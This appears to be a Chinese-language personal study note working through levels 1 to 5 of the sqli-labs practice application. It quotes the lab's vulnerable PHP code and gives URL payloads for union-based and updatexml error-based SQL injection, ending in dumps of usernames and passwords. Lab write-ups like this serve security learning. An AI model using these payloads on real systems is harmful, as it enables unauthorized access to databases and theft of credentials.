sqllab-less1-5
typora-copy-images-to: note1Image
sqlLab - less1
-
检测是否有SQL注入,输入个引号跟后边,如果语法报错就说明我们的引号起作用了,也就是可以继续写其他的代码了
?id=1'
-
作为练习,先来查看一下源代码(只截取一部分)
if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
通过观察sql语句很容易得出注入方式, 加个or条件和注释符号就可以直接过掉了:
SELECT * FROM users WHERE id='1' or 1 = 1 -- LIMIT 0,1
-
确定字段数量,通过
order by 栏位号
就可以依次指定查询第几列了?id= 1' order by 1 --+
这个地方之所以写个+
是因为url编码+
是空格, 不然注释不掉后边的sql通过依次试,试到
order by 4
的时候就报错了,可以得出列的数量为3 -
然后就可以通过联合查询进一步获取其他信息了
?id=-1' union select 1, user(), database() --+
,结合user(), database()获得当前用户和数据库,但是如果写成的是?id=1' union select 1, user(), database() --+
的话得出的结果还是合法信心,联合查询的话就是将两个查询的结果放到一张表中,然后属性名保留的还是第一个查询的名字,所以在使用联合查询的时候,看属性名是没用的,比如说在这个例子中?id=1' union select 1, user(), database() --+
得到的结果是合法 的信息这并不是说我们的联合查询没有生效,而是在limit 0,1的限制下,查询的结果只处理的是前面第一条,完整sql语句就是下面这个:
SELECT * FROM users WHERE id='1' union select 1,user(),database() --+ LIMIT 0,1
所以我们只要前面部分查询不到结果就行,那么查询到的第一条结果就是后面的了,也就是id换成一个查不到的,结果如下
-
进一步爆破获得其他信息,通过information-schema这个库去获得其他信息
结合图片可以看出这个库里面有个tables表,有两个列存的是我们需要的信息
那么就可以在联合查询的基础上进一步操作了
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
结果:
可以结合下面两个图熟悉一下group_concat()拼接函数:
-
爆破列名
通过columns这个表就很容易了,只需要在改变一下联合查询的那一部分就行了
?id=-1' union select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema=database(); --+
可以结合下面的查询更方便明白得出的都是啥
-
爆破数据值
通过上一步已经知道这个数据库有哪些表,还有就是对应的表有哪些字段,那接下来就是直接查相应的表就可以拿到具体的数据了
查询语句
select 1,group_concat(username),group_concat(password) from users;
注入:
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
进行比对一下
结束:
less1并没有涉及到什么过滤之类的,所以基本上各种方式都会有效果,这里主要是为了熟悉熟悉一些可用的方式。
sqlLab - less2
1. 同样先来看看源码,可以看到不同之处在于'$id'
变成了$id
:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
单纯拿sql语句来看好像加不加引号也没什么不一样啊?不加也还是可以访问,而且?id=1'
也是会语法报错
2. 按照less1的方式,先看看字段数
?id=1 order by 1 --+
看着和前面似乎还没有什么不同
3. 联合查询继续爆破出数据库名和用户名
?id=-1 union select 1,user(),database() --+
还是没看出什么不同
4. 爆破出表信息(可以选择直接从columns表中获取)
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
还是没看出有什么不同
5. 爆破字段
?id=-1 union select 1, group_concat(table_name), group_concat(column_name) from information_schema.columns where table_schema=database() --+
还是没什么不同
6. 爆破值
?id=-1 union select group_concat(id),group_concat(username),group_concat(password ) from users --+
到这了,less1的操作还是完全使用。。这**是有什么不同吗?
总结:
sql查询换成整形(不加引直接用数字去比较)和字符型应该是没什么区别的。
不过这个过程可能会发现为什么我查出来的字段明明是三个,却正好显示的是需要的哪两个。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result); // 原因在于这个函数的处理,应该是处理查询结果的第二第三个参数,然后重新构建到一个row数组
Sqllab-less3
1. 看看源码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
不一样的是加了引号加了括号。
初看好像和前面差别不大,顶多多加个反括号进行闭合而已
2. 试试看看还会不会语法报错
?id=1'
可以发现,还是会语法报错,说明'
起作用,没有被过滤
3. 照搬套路
3.1 查字段数
? ?id=1') order by 1 --+
, 一切正常
3.2 查数据库名,用户名
? ?id=-1') union select 1,user(),database() --+
3.3 查表名,字段名
? ?id=-1') union select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema=database() --+
? 正常
3.4 查值(0x3a代表的16进制对应的字符是'??,这里只是换了一种显示方式,思路不变
? ?id=-1') union select 1,2,group_concat(username, 0x3a,password) from users --+
总结:
和前面一毛一样,不同的就是稍微换了点闭合方式
sqllab-Less4
1. 看源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"'; // id做了拼接
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
很容易看出,不一样的地方是对取得的$id
加了个引号,也就等价于
SELECT * FROM users WHERE id=("1") LIMIT 0,1
这好像也很容易直接加个引号,然后注释掉后边的
select * from users where id=("1") --+ ")
注入:?id=1") --+ ")
, 这个地方注释后面爱写啥写啥,反正都是被注释掉的
结果:
那后面就很容易了。
这个地方并没有通过语法报错去探测是不是注入点(判断是不是注入点也就是判断输入的符号有没有被过滤,没有就说明这可能是个注入点),因为第一步都是直接看源码了,所以符号有没有被过滤直接就能看出来,如果没有源码可以看的时候就得慢慢去试是不是注入点了。
2. 常规操作
2.1 查看字段数
? ?id=-1") order by 4 --+
2.2 获取表和列
? ?id=-1") union select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema=database() --+
2.3 获取值
? ?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+
总结:
? sql查询方式:($id)
, 在取得$id
时附加双引号,
? 注入方式:闭合双引号和括号
sqllab-Less5
1. 看源码
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
我他喵的也是佛了,这不是和前面第一关一样吗???我还是从前那个少年没有一丝的改变~
算了,直接上结果吧
查表和列名:
?id=-1' union select 1,group_concat(table_name), group_concat(column_name) from information_schema.columns where table_schema=database --+
我去,竟然没用了。
源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
可以发现,无论上面查到了什么,进入的第一个判断是没有有用的信息显示的,都是已经固定了,
而可以动态输出的地方只有print_r(mysql_error());
也就是只要输出我们的信息到错误信息中就能看到了。
2. 基于updatexml的报错注入浅析
2.1 updatexml是什么
? 就先简单理解成sql中对xml文档进行处理的一个函数(就像user(),database()),只不过这个函数有个参数是依照Xpath语法进行 的,这个地方的语法写的不对就会出现报错信息。
? 我也不怎么明白,就先理解到这吧,这里贴个网上的函数参数说明
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
而对于我们要利用这个函数的报错信息,第一个参数随便起个就行,第二个参数可以通过contact函数嵌套一些sql语句进去,这样就能执行我们想要执行的语句了,第三个参数
下面给出一些尝试:
-
直接使用这个函数
select update(1, '1.txt', 1);
出现了一个Xpath语法报错 -
改参数(懒得一个个写思路了,自己怎么想就怎么试)
这里得出的结果就不做解释了,因为我也只是猜测
-
将第二个参数换成contact函数,这个是重点
select updatexml(5, concat(1, (select database()), 9), 3);
结果:
concat函数是和group_concat类似,拼接用的,但是在这用group_concat会得到一个错误,说的是group_concat()得出的不是一个常量xpath;
至于为什么concat函数前面要加个1拼接,因为不加1拼接在前面xpath语法就通过了,就会得到的是正常的查询结果
至于第三个参数,加不加好像无所谓,不加xpath语法也会错
还剩concat的第二个参数,
可以看到存在注入点
3.2 尝试添加updatexml()函数
进一步加到后边
?id=1' and updatexml(1, concat(1, database()), 1) --+
现在来看这个应该很好理解了,updatexml的1,3参数随便填点就行,中间参数用concat()函数,通过concat函数执行我们想要执行的sql代码
可以看到database()
执行的结果显示了出来security
3.3 联合查询获取表和列信息
?id=-1' and updatexml(1, concat(1, (select group_concat(table_name, 0x3a,column_name) from information_schema.columns where table_schema=database())), 1) --+
这个地方只是查询的地方换成了前面几关用到的查询,没啥难
看一下这个查询原本该是的结果
看看浏览器中注入的结果
这多半是xpath报错的字符长度限制
稍微修改一下,只看表,加个distinct去掉重复的
?id=-1' and updatexml(1, concat(1, (select group_concat(distinct table_name) from information_schema.columns where table_schema=database())), 1) --+
没办法,这个updatexml长度有限,尽量少的信息
查看users表的列名
?id=-1' and updatexml(1, concat(1, (select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='users')), 1) --+
虽然长度的限制用起来挺麻烦,但是这个方法还是勉强能用
查username属性值,一般来说一个正常的数据库每一列的属性值都是n多行,可以通过limit一次查一部分
?id=-1' and updatexml(1, concat(1, (select group_concat(username) from users limit 0,5)), 1) --+
然后通过用户名查密码就很容易了。懒得写了,就到这了。